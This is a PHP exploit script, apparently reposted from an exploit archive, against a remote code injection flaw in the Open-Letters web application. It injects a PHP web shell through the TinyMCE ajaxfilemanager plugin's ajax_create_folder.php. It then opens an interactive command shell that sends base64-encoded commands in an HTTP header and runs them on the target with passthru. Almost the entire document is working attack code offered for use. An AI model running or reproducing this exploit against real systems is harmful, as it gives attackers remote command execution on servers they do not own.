Open Letters Remote PHP Code Injection

[KhiZaRix]

<?php

/*
OutPut:
#[+] Author: TUNISIAN CYBER
#[+] Script coded BY: Egidio Romano aka EgiX
#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability
#[+] Date: 19-04-2015
#[+] Vendor: http://www.open-letters.de/
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] CVE:
#[+] Twitter: @TCYB3R
#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com
#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png
OL-shell> 

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
    if (!($sock = fsockopen($host, 80)))
        die( "\n[-] No response from {$host}:80\n");

    fwrite($sock, $packet);
    return stream_get_contents($sock);
}

print "#[+] Author: TUNISIAN CYBER\n";
print "#[+] Script coded BY: Egidio Romano aka EgiX\n";
print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n";
print "#[+] Date: 19-04-2015\n";
print "#[+] Vendor: http://www.open-letters.de/\n";
print "#[+] Type: WebAPP\n";
print "#[+] Tested on: KaliLinux (Debian)\n";
print "#[+] CVE:\n";
print "#[+] Twitter: @TCYB3R\n";
print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n";
print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png";

if ($argc < 3)
{
    print "\nUsage......: php $argv[0] <host> <path>";
    print "\nExample....: php $argv[0] localhost /";
    print "\nExample....: php $argv[0] localhost /zenphoto/\n";
    die();
}

$host = $argv[1];
$path = $argv[2];

$exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$packet  = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($exploit)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$exploit}";

http_send($host, $packet);

$packet  = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
    print "\nOL-shell> ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
    print $m[1] : die("\n[-] Exploit failed!\n");
}

?>

Source: http://packetstorm.wowhacker.com/1504-exploits/openletters-inject.txt